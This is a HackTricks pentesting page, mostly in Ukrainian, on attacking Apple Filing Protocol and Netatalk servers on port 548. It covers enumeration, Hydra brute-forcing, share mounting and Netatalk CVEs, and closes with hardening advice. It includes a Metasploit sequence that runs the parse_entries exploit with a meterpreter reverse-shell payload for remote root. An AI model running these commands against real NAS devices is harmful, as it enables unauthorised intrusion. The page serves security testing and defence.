548 - Pentesting Протокол обміну файлами Apple (AFP)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
The Apple Filing Protocol (AFP), колись відомий як AppleTalk Filing Protocol, — це спеціалізований мережевий протокол, що входить до складу Apple File Service (AFS). Він призначений для надання файлових сервісів для macOS та класичної Mac OS. AFP вирізняється підтримкою Unicode імен файлів, POSIX-style та ACL прав доступу, resource forks, іменованих розширених атрибутів та складних механізмів блокування файлів.
Хоча AFP був витіснений SMB у сучасних релізах macOS (SMB є за замовчуванням з OS X 10.9), його все ще зустрічають у:
- Застарілих середовищах macOS / Mac OS 9
- NAS-пристроях (QNAP, Synology, Western Digital, TrueNAS…) які вбудовують open-source Netatalk демон
- Змішаних ОС мережах, де Time-Machine-over-AFP все ще увімкнено
Порт TCP за замовчуванням: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Перелічення
Швидкий банер / інформація про сервер
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Корисні AFP NSE скрипти:
| Скрипт | Що робить |
|---|---|
| afp-ls | Перелічити доступні AFP томи та файли |
| afp-brute | Brute-force пароля проти входу в AFP |
| afp-serverinfo | Вивести ім’я сервера, тип машини, версію AFP, підтримувані UAM та ін. |
| afp-showmount | Перелічити шари разом з їхніми ACL |
| afp-path-vuln | Виявляє (та може експлуатувати) directory-traversal, CVE-2010-0533 |
NSE brute-force скрипт можна поєднати з Hydra/Medusa, якщо потрібен більший контроль:
hydra -L users.txt -P passwords.txt afp://<IP>
Якщо у вас уже є облікові дані, Nmap’s AFP scripts стають набагато кориснішими, оскільки afp-serverinfo leaks рекламовані UAMs (auth methods), тоді як afp-showmount і afp-ls можуть перерахувати reachable shares, ACLs та цікаві файли:
nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
Pay attention to:
- Machine Type: Netatalk in
afp-serverinfooutput, which usually means a NAS / Unix host rather than Apple’s own AFP implementation. - UAMs such as
DHX,DHX2,CleartxtorGuest, because they directly hint at the reachable login paths and whether legacy / weak auth is enabled. - Share ACLs from
afp-showmount; world-readable or drop-box style shares often expose backups,.applfiles, and user metadata before you ever mount the volume.
Interacting with shares
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (з використанням afpfs-ng ‑ доступний у більшості дистрибутивів)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Once mounted, remember that classic Mac resource-forks are stored as hidden ._* AppleDouble files – these often hold interesting metadata that DFIR tools miss.
On Netatalk targets this metadata backend also matters for exploitability:
ea = admeans metadata is stored in AppleDouble v2 files /.AppleDoubledirectories.ea = sysorea = sambastores metadata in filesystem extended attributes instead.- In Netatalk 4.2+ the old
appledoubleoption was removed and the backend is controlled solely through theeaoption.
From an offensive perspective, this lets you quickly decide whether AppleDouble-oriented bugs are more likely to be reachable on the server.
Common Vulnerabilities & Exploitation
Netatalk unauthenticated RCE chain (2022)
Several NAS vendors shipped Netatalk ≤3.1.12. A lack of bounds checking in parse_entries() allows an attacker to craft a malicious AppleDouble header and obtain remote root before authentication (CVSS 9.8 – CVE-2022-23121). A full write-up by NCC Group with PoC exploiting Western-Digital PR4100 is available.
Metasploit (>= 6.3) ships the module exploit/linux/netatalk/parse_entries which delivers the payload via DSI WRITE.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
If the target runs an affected QNAP/Synology firmware, successful exploitation yields a shell as root.
Netatalk OpenSession heap overflow (2018)
Старіші версії Netatalk (3.0.0 - 3.1.11) вразливі до запису поза межами буфера в обробнику DSI OpenSession, що дозволяє неаутентифіковане виконання коду (CVE-2018-1160). Детальний аналіз та PoC були опубліковані Tenable Research.
Newer Netatalk attack surface (2022-2024)
Останні advisories Netatalk показують, що attack surface більше не обмежується parse_entries() та обробкою OpenSession:
- CVE-2022-45188: спеціально сформований
.applфайл може викликати heap overflow вafp_getappl; це особливо актуально, якщо ви можете write files into a share і сервер запускає FCE / notify features. - CVE-2023-42464: баг типу type confusion в обробниках Spotlight RPC може стати доступним, коли
spotlight = yesувімкнено вafp.conf(за замовчуванням вимкнено). - CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: одно-байтові heap out-of-bounds записи в шляхах, пов’язаних із логіном, виправлені в Netatalk 2.4.1 / 3.1.19 / 3.2.1. Ці баги цікаві тим, що експлойтибельність залежить від конфігурованих UAMs:
uams_clrtxt.so+ PAM-backed ClearTxt login exposes theFPLoginExtpath relevant to CVE-2024-38439.uams_dhx.so+ PAM-backed DHX login reaches the vulnerable path for CVE-2024-38440.uams_guest.sokeeps the Guest login path reachable for CVE-2024-38441.
Це означає, що вивід afp-serverinfo — це не просто дані для fingerprinting; він допомагає вирішити, який login parser відкритий, перш ніж витрачати час на розробку експлоїту або triage прошивки NAS.
Other notable issues
- CVE-2022-22995 – перенаправлення symlink, що призводить до довільного запису файлу / RCE, коли AppleDouble v2 увімкнено (3.1.0 - 3.1.17).
- CVE-2010-0533 – directory traversal в Apple Mac OS X 10.6 AFP (виявлено
afp-path-vuln.nse). - У релізах 2024 Netatalk було виправлено кілька помилок безпеки пам’яті; якщо ви ідентифікували
Netatalkуafp-serverinfo, приділіть хвилину кореляції відкритих UAMs / Spotlight / metadata backend з версією сервера, перш ніж припускати, що мають значення лише баги 2018/2022 років.
Рекомендації щодо захисту
- Вимкніть AFP якщо це не строго необхідно — використовуйте замість нього SMB3 або NFS.
- Якщо AFP має залишатися, оновіть Netatalk до ≥ 3.1.18 або 4.x, або застосуйте прошивку вендора, яка back-ports патчі 2022/2023/2024.
- Встановіть Strong UAMs (наприклад DHX2), вимкніть clear-text та guest логіни.
- Обмежте доступ до TCP 548 довіреними підмережами та помістіть AFP всередину VPN, якщо він доступний ззовні.
- Періодично скануйте за допомогою
nmap -p 548 --script afp-*у CI/CD, щоб виявляти rogue / downgraded пристрої.
Brute-Force
References
- Netatalk Security Advisory CVE-2022-23121 – “Arbitrary code execution in parse_entries” https://netatalk.io/security/CVE-2022-23121
- Tenable Research – “Exploiting an 18-Year-Old Bug (CVE-2018-1160)” https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
- Netatalk Security Advisories index https://netatalk.io/security.html
- Netatalk 4.2.0 Release Notes https://netatalk.io/4.2/ReleaseNotes4.2.0
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


